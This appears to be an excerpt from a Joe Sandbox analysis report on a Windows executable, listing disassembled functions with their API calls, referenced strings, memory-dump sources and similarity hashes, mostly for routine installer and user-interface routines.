GetModuleHandleA.KERNEL32(kernel32.dll,GetDiskFreeSpaceExA,00000000,00455F1F), ref: 00455E10
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00455E16

Strings

kernel32.dll, xrefs: 00455E0B
GetDiskFreeSpaceExA, xrefs: 00455E06

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetDiskFreeSpaceExA$kernel32.dll
API String ID: 1646373207-3712701948
Opcode ID: 2a586cdd6d3b5b624cec46e44aab5337d0e4580ac2e02e9277c845893915eeed
Instruction ID: 94d637f012244594286cd058a6e690650624bbac00cb131118490790a059a9ff
Opcode Fuzzy Hash: 2a586cdd6d3b5b624cec46e44aab5337d0e4580ac2e02e9277c845893915eeed
Instruction Fuzzy Hash: F6416271A04649ABCF01EFA5C892DEEB7B8EF48304F504566E800F7292D6785E09CB68

Function 00453890 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 100fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,-cI,_iu,?,00000000,004539CA), ref: 0045397F
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000000,00000000,00000002,00000080,00000000,.tmp,-cI,_iu,?,00000000,004539CA), ref: 0045398F

Strings

_iu, xrefs: 00453921
.tmp, xrefs: 00453933
-cI, xrefs: 004538C0, 004538CB, 00453926, 00453930, 00453900, 0045390A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseCreateFileHandle
String ID: -cI$.tmp$_iu
API String ID: 3498533004-3964432171
Opcode ID: 02fc6949860a742288c4963694ea4c9fb07eaa5c322dedd883b179278d380901
Instruction ID: 987f34639f2954820d3a171204f3ba7a53f2c28fb23a6faa943e541cb6d42ed5
Opcode Fuzzy Hash: 02fc6949860a742288c4963694ea4c9fb07eaa5c322dedd883b179278d380901
Instruction Fuzzy Hash: 293195B0A00249ABCB11EFA5C942BAEBBB4AF44309F60456AF800B73C2D6785F059758

Function 00497268 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 004242BC: SetWindowTextA.USER32(?,00000000), ref: 004242D4

ShowWindow.USER32(?,00000005,00000000,004974CD,?,?,00000000), ref: 0049729E

Part of subcall function 0042D8BC: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8CF

Part of subcall function 00407298: SetCurrentDirectoryA.KERNEL32(00000000,?,004972C6,00000000,00497499,?,?,00000005,00000000,004974CD,?,?,00000000), ref: 004072A3

Part of subcall function 0042D444: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4D2,?,?,?,00000001,?,00456052,00000000,004560BA), ref: 0042D479

Strings

IMsg, xrefs: 00497372
.msg, xrefs: 00497304
Uninstall, xrefs: 00497284
.dat, xrefs: 004972E5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: fee9eccc106b75620d129768861d1a7621c8bfd9450b5e9a776089888b3099eb
Instruction ID: 502499af6c4fed57a8803849289841afdffa1b87ef326e8d9c35a034d288349d
Opcode Fuzzy Hash: fee9eccc106b75620d129768861d1a7621c8bfd9450b5e9a776089888b3099eb
Instruction Fuzzy Hash: 20317574A10214AFCB01EF65DC92D5E7BB5FB88318B51847AF800AB792D739BD05CB58

Function 0042EAA0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonCreate), ref: 0042EAD2
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EAD8
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,user32.dll,ShutdownBlockReasonCreate), ref: 0042EB01

Strings

ShutdownBlockReasonCreate, xrefs: 0042EAC8
user32.dll, xrefs: 0042EACD

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressByteCharHandleModuleMultiProcWide
String ID: ShutdownBlockReasonCreate$user32.dll
API String ID: 828529508-2866557904
Opcode ID: f0f9c1c29cdcfbee2e7a8f4e336c776c41a61f3b4eee9e965eb88e8c498f29e0
Instruction ID: 08d6e73c43f4c72d4bf81f88f5f107f4332e42bd1359b104b354d246f0006fb7
Opcode Fuzzy Hash: f0f9c1c29cdcfbee2e7a8f4e336c776c41a61f3b4eee9e965eb88e8c498f29e0
Instruction Fuzzy Hash: 14F0F6D034062237E620B6BFAC82F7B59CC8F9472AF140036F109EB2C2E96C9905427F

Function 004019CC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlInitializeCriticalSection.KERNEL32(0049B420,00000000,00401A82,?,?,0040222E,02277B58,00001370,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019E2
RtlEnterCriticalSection.KERNEL32(0049B420,0049B420,00000000,00401A82,?,?,0040222E,02277B58,00001370,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 004019F5
LocalAlloc.KERNEL32(00000000,00000FF8,0049B420,00000000,00401A82,?,?,0040222E,02277B58,00001370,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A1F
RtlLeaveCriticalSection.KERNEL32(0049B420,00401A89,00000000,00401A82,?,?,0040222E,02277B58,00001370,00000000,?,?,00401C49,00401C5E,00401DA2), ref: 00401A7C

Strings

l>Y, xrefs: 00401A0E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID: l>Y
API String ID: 730355536-3992852859
Opcode ID: 0971dfa849a4ffc4cae04a3e1ff9e59bd0eaa306d87ad714f1f0155365df5b79
Instruction ID: 91310e2de28581c92a9b529d79901d52005bdf0b1253609ef7109df0d78d257f
Opcode Fuzzy Hash: 0971dfa849a4ffc4cae04a3e1ff9e59bd0eaa306d87ad714f1f0155365df5b79
Instruction Fuzzy Hash: D001A1706482409EE719AB69BA467253FD4D795B48F11803BF840A6BF3C77C4440EBAD

Function 00457E18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 00457E48
GetExitCodeProcess.KERNEL32(?,?), ref: 00457E69
CloseHandle.KERNEL32(?,00457E9C), ref: 00457E8F

Strings

GetExitCodeProcess, xrefs: 00457E72
MsgWaitForMultipleObjects, xrefs: 00457E55

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: fd83349507a0981e80b71893faadad776893e27a60c3cb1bdbbb378314d18f26
Instruction ID: 364c7453444e38e17299d149b0285d9f966ded63b706bec2a35302b816cfa9f1
Opcode Fuzzy Hash: fd83349507a0981e80b71893faadad776893e27a60c3cb1bdbbb378314d18f26
Instruction Fuzzy Hash: 88018F71608304AFD711EBA99D03A2E73A9EB49715F6040B6FC10E72D3DA389D048619

Function 0042E9A4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA68,00000004,00499934,00457011,004573B4,00456F68,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9BA
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C0
InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D1

Strings

ChangeWindowMessageFilter, xrefs: 0042E9B0
user32.dll, xrefs: 0042E9B5

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 3478007392-2498399450
Opcode ID: e1b8650f68b4f5373240c16350828cc36d4525f286b48015e4a1be8ef0f4b549
Instruction ID: 012688e8468ec3177747178b84a01981fc81215c8fc8f9e453d059575ed0bd59
Opcode Fuzzy Hash: e1b8650f68b4f5373240c16350828cc36d4525f286b48015e4a1be8ef0f4b549
Instruction Fuzzy Hash: B5E0ECA1740314EAEA203B66BE8AF573558E724B19F54003BF100A51F2C7BC1C80CA9E

Function 00477628 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 00477630
GetModuleHandleA.KERNEL32(user32.dll,AllowSetForegroundWindow,00000000,?,?,00477727,0049C0A4,00000000), ref: 00477643
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 00477649

Strings

AllowSetForegroundWindow, xrefs: 00477639
user32.dll, xrefs: 0047763E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressHandleModuleProcProcessThreadWindow
String ID: AllowSetForegroundWindow$user32.dll
API String ID: 1782028327-3855017861
Opcode ID: f9c0aa6575de5325031961dc8c28253599d1abb86677e5186b48b355b3ec359b
Instruction ID: 000833d094a070652a329d30f0dc0cedfc4963abb7563544beb27e38e0473342
Opcode Fuzzy Hash: f9c0aa6575de5325031961dc8c28253599d1abb86677e5186b48b355b3ec359b
Instruction Fuzzy Hash: 8DD05E90249B02A9D90073B94C46F6F224C8A90B68790843B7408F218ECA3CDC00AA3C

Function 00416C24 Relevance: 7.6, APIs: 5, Instructions: 104COMMON

Download Yara Rule

APIs

BeginPaint.USER32(00000000,?), ref: 00416C4A
SaveDC.GDI32(?), ref: 00416C7B
ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416D3D), ref: 00416CDC
RestoreDC.GDI32(?,?), ref: 00416D03
EndPaint.USER32(00000000,?,00416D44,00000000,00416D3D), ref: 00416D37

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Paint$BeginClipExcludeRectRestoreSave
String ID:
API String ID: 3808407030-0
Opcode ID: b6c8991bbe38a25b063fe02cbbd384aaa1ab048ef0fa4b5957116aa5db27c33c
Instruction ID: a024d51d8e1917fcb77b8775c892227abb36bb6ea51d3f2ecd71d44c14df9e09
Opcode Fuzzy Hash: b6c8991bbe38a25b063fe02cbbd384aaa1ab048ef0fa4b5957116aa5db27c33c
Instruction Fuzzy Hash: 90414170A04244AFCB04DBA9C595FAA77F5FF48304F1640AAE8459B362D778DD81CF54

Function 004147F8 Relevance: 7.6, APIs: 5, Instructions: 102COMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(?,?,?), ref: 0041482E
MulDiv.KERNEL32(?,?,?), ref: 00414848
MulDiv.KERNEL32(?,?,?), ref: 00414871
MulDiv.KERNEL32(?,?,?), ref: 0041489C
MulDiv.KERNEL32(00000000,?,00000000), ref: 004148E4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76268f3067fd7e5b2c462dbffcea77bb187ec6f22ea95bd0c2474c45d8462d54
Instruction ID: 35d93ad14ebc553eed2a21e9b47c67a907fa477780373b58b871235641bd8dc8
Opcode Fuzzy Hash: 76268f3067fd7e5b2c462dbffcea77bb187ec6f22ea95bd0c2474c45d8462d54
Instruction Fuzzy Hash: B23132746057409FC320EB69C584BABB7E8AF89714F04891EF9D9C7751C638EC818B19

Function 004297C4 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 00429800
SendMessageA.USER32(00000000,000000BB,?,00000000), ref: 0042982F
SendMessageA.USER32(00000000,000000C1,00000000,00000000), ref: 0042984B
SendMessageA.USER32(00000000,000000B1,00000000,00000000), ref: 00429876
SendMessageA.USER32(00000000,000000C2,00000000,00000000), ref: 00429894

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 9f4218a80dfb6ea41a935cea72b52cc504d621f6de5a3555e5000c6e6653befd
Instruction ID: c6a16a7b88e0b18788f8573a4e1e1ff521d0234e697c82a38616540cbd285451
Opcode Fuzzy Hash: 9f4218a80dfb6ea41a935cea72b52cc504d621f6de5a3555e5000c6e6653befd
Instruction Fuzzy Hash: 0621AF707507057AE710FB67DC82F8B7AECDB41708F54483EB905AB6D2DBB8AD418618

Function 0041BBB0 Relevance: 7.6, APIs: 5, Instructions: 83COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BBC2
GetSystemMetrics.USER32(0000000C), ref: 0041BBCC
73A1A570.USER32(00000000,00000001,0000000C,0000000B,?,?), ref: 0041BC0A
73A26310.GDI32(00000000,?,00000004,?,?,00000000,00000000,0041BD75,?,00000000,00000001,0000000C,0000000B,?,?), ref: 0041BC51
DeleteObject.GDI32(00000000), ref: 0041BC92

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: MetricsSystem$A26310A570DeleteObject
String ID:
API String ID: 4277397052-0
Opcode ID: e18963905fbda8c1d4957780915d0687961bfe8337bc9852c69d647676f2e28b
Instruction ID: 58bffdd5ee351b83518612b46dbf543796c6efca4902a0296a584a1adfede215
Opcode Fuzzy Hash: e18963905fbda8c1d4957780915d0687961bfe8337bc9852c69d647676f2e28b
Instruction Fuzzy Hash: E2317F70E00208EFDB04DFA5C942AAEB7F5EB48704F21856AF514EB381D7789E80DB95

Function 004733C0 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 0045CE6C: SetLastError.KERNEL32(00000057,00000000,0045CF38,?,?,?,?,00000000), ref: 0045CED7

GetLastError.KERNEL32(00000000,00000000,00000000,00473494,?,?,0049C1D0,00000000), ref: 0047344D
GetLastError.KERNEL32(00000000,00000000,00000000,00473494,?,?,0049C1D0,00000000), ref: 00473463

Strings

Could not set permissions on the registry key because it currently does not exist., xrefs: 00473457
Failed to set permissions on registry key (%d)., xrefs: 00473474
Setting permissions on registry key: %s\%s, xrefs: 00473412

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast
String ID: Could not set permissions on the registry key because it currently does not exist.$Failed to set permissions on registry key (%d).$Setting permissions on registry key: %s\%s
API String ID: 1452528299-4018462623
Opcode ID: c2b4e85895e31eb7a4579faef75fdd198930d34150e3eae1e6804dec0b8ec56e
Instruction ID: 1dcd38469e34a8f7cdaf58011d69bd772563d378ec45d4c1a9cd481a7780d06e
Opcode Fuzzy Hash: c2b4e85895e31eb7a4579faef75fdd198930d34150e3eae1e6804dec0b8ec56e
Instruction Fuzzy Hash: 9221B370A042445FCB05DFAAC8816EEBBE8DF49319F50817AE448E7392D77C5E058BAD

Function 00403CA4 Relevance: 7.6, APIs: 5, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000400), ref: 00403CDE
SysAllocStringLen.OLEAUT32(?,00000000), ref: 00403CE9
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 00403CFC
SysAllocStringLen.OLEAUT32(00000000,00000000), ref: 00403D06
MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00403D15

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ByteCharMultiWide$AllocString
String ID:
API String ID: 262959230-0
Opcode ID: fdbd74c082f9815823b504bab77549cef434610d295dd08879ffad668e8b5e0c
Instruction ID: 657f84db466bd1c54801a2b30447fc2084338491f8142acf58a262d5883cef98
Opcode Fuzzy Hash: fdbd74c082f9815823b504bab77549cef434610d295dd08879ffad668e8b5e0c
Instruction Fuzzy Hash: FCF0A4917442043BF21025A65C43F6B198CCB82B9BF50053FB704FA1D2D87C9D04427D

Function 004143D8 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

73A18830.GDI32(00000000,00000000,00000000), ref: 00414411
73A122A0.GDI32(00000000,00000000,00000000,00000000), ref: 00414419
73A18830.GDI32(00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0041442D
73A122A0.GDI32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 00414433
73A1A480.USER32(00000000,00000000,00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000), ref: 0041443E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: A122A18830$A480
String ID:
API String ID: 3325508737-0
Opcode ID: 2e378a44b9d760f9e5f1bf7c9b236df4e5f96ed4aa47b9fb48d5ba9b1bbdbb58
Instruction ID: 53d1df8a90047df028643ee63be254e951aa3f987763a81c259c8cb4a1af4cbb
Opcode Fuzzy Hash: 2e378a44b9d760f9e5f1bf7c9b236df4e5f96ed4aa47b9fb48d5ba9b1bbdbb58
Instruction Fuzzy Hash: 7101D43520C3806AE600A63D8C85A9F6BDD9FC6314F05446EF484DB282C979C801C761

Function 00424CD8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 0041F06C: GetActiveWindow.USER32 ref: 0041F06F
Part of subcall function 0041F06C: GetCurrentThreadId.KERNEL32 ref: 0041F084
Part of subcall function 0041F06C: 73A25940.USER32(00000000,Function_0001F048), ref: 0041F08A

Part of subcall function 004231A0: GetSystemMetrics.USER32(00000000), ref: 004231A2

OffsetRect.USER32(?,?,?), ref: 00424DC1
DrawTextA.USER32(00000000,00000000,000000FF,?,00000C10), ref: 00424E84
OffsetRect.USER32(?,?,?), ref: 00424E95

Part of subcall function 0042355C: GetCurrentThreadId.KERNEL32 ref: 00423571
Part of subcall function 0042355C: SetWindowsHookExA.USER32(00000003,00423518,00000000,00000000), ref: 00423581
Part of subcall function 0042355C: CreateThread.KERNEL32(00000000,000003E8,004234C8,00000000,00000000), ref: 004235A5

Part of subcall function 00424B24: SetTimer.USER32(00000000,00000001,?,004234AC), ref: 00424B3F

Strings

nLB, xrefs: 00424CEB, 00424DC9

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Thread$CurrentOffsetRect$A25940ActiveCreateDrawHookMetricsSystemTextTimerWindowWindows
String ID: nLB
API String ID: 1906964682-2031493005
Opcode ID: d69f4dabb7a698d4e2161d5678524c276ca36ddb1998852898fe681b10175c4d
Instruction ID: 6ccba84303d4583ac65c185f09da03f8435108134aba783506c2f58cc8f90ba1
Opcode Fuzzy Hash: d69f4dabb7a698d4e2161d5678524c276ca36ddb1998852898fe681b10175c4d
